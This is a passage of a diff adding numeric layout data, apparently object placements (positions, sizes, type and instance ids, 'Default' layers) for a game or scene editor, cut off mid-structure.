+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5095,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2471.781494140625,
+ 639.4390869140625,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5096,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2549.781494140625,
+ 639.4390869140625,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5097,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2315.903564453125,
+ 639.9998168945312,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5098,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2393.903564453125,
+ 639.9998168945312,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5099,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2395.962890625,
+ 9.37603759765625,
+ 0,
+ 387,
+ 389,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5100,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1366,
+ 713,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5101,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1541,
+ 578,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5102,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3913,
+ 291,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5104,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4537,
+ 457,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5105,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 420,
+ 830,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5108,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2629,
+ 483,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5110,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3872,
+ 384,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5114,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3951,
+ 384,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5115,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4544,
+ 544,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5116,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4623,
+ 544,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5117,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4622,
+ 465,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5118,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4622,
+ 385,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5119,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4621,
+ 306,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5120,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4621,
+ 227,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5121,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4620,
+ 148,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5122,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3961,
+ 965,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5123,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4502,
+ 964,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5125,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4497,
+ 882,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5127,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5220,
+ 797,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5128,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5300,
+ 797.5078125,
+ 0,
+ 237,
+ 81.45220947265625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5129,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4622.5,
+ 345,
+ 0,
+ 82,
+ 481,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5130,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4545,
+ 545.5,
+ 0,
+ 82,
+ 80,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5131,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3909,
+ 380,
+ 0,
+ 156,
+ 80,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5132,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3956.5,
+ 967,
+ 0,
+ 79,
+ 80,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5133,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4503,
+ 963,
+ 0,
+ 79,
+ 80,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5135,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2062,
+ 668,
+ 0,
+ 249.9819946289063,
+ 249.9819946289063,
+ 0,
+ 0,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 4284,
+ [],
+ [
+ [
+ -50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3276,
+ 620,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4285,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3081,
+ 700,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5151,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2432.5,
+ 599.5,
+ 0,
+ 312,
+ 156,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5152,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2707,
+ 484,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4955,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2706,
+ 404,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4956,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2784,
+ 404,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4963,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2785,
+ 325,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4964,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2786,
+ 245,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4970,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2787,
+ 171,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4971,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2708,
+ 170,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4978,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2630,
+ 170,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4979,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2315,
+ 425,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4985,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2468,
+ 426,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4986,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2626,
+ 426,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5111,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2238,
+ 404,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5112,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2394,
+ 404,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5113,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2547,
+ 404,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5136,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2624,
+ 245,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5137,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2706,
+ 245,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5153,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2469.5,
+ 482,
+ 0,
+ 547,
+ 78,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5124,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2394,
+ 245,
+ 0,
+ 383,
+ 78,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5126,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2706,
+ 167,
+ 0,
+ 235,
+ 78,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5134,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2784.5,
+ 323.5,
+ 0,
+ 76,
+ 237,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5154,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2704,
+ 442.5,
+ 0,
+ 76,
+ 156,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5155,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2065,
+ 503,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5106,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3085,
+ 787,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4734,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3271,
+ 709,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5148,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3086,
+ 787,
+ 0,
+ 79.3143310546875,
+ 79.19989013671875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5647,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3272,
+ 708,
+ 0,
+ 79.3143310546875,
+ 79.19989013671875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5648,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3610,
+ 530,
+ 0,
+ 79.3143310546875,
+ 79.19989013671875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5649,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3609,
+ 531,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5650,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3738,
+ 446,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5651,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3738,
+ 448,
+ 0,
+ 76,
+ 80,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5652,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4235,
+ 544,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5653,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4235,
+ 541,
+ 0,
+ 76,
+ 80,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5654,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4234,
+ 458,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5655,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4965,
+ 797,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5656,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4965,
+ 799.5,
+ 0,
+ 73,
+ 80,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5657,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 755,
+ 993,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 3983,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 755,
+ 1085,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3984,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 39.07186889648438,
+ 993.06982421875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4127,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 39.07186889648438,
+ 1085.06982421875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4128,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 127.9109802246094,
+ 993.232666015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4240,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 127.9109802246094,
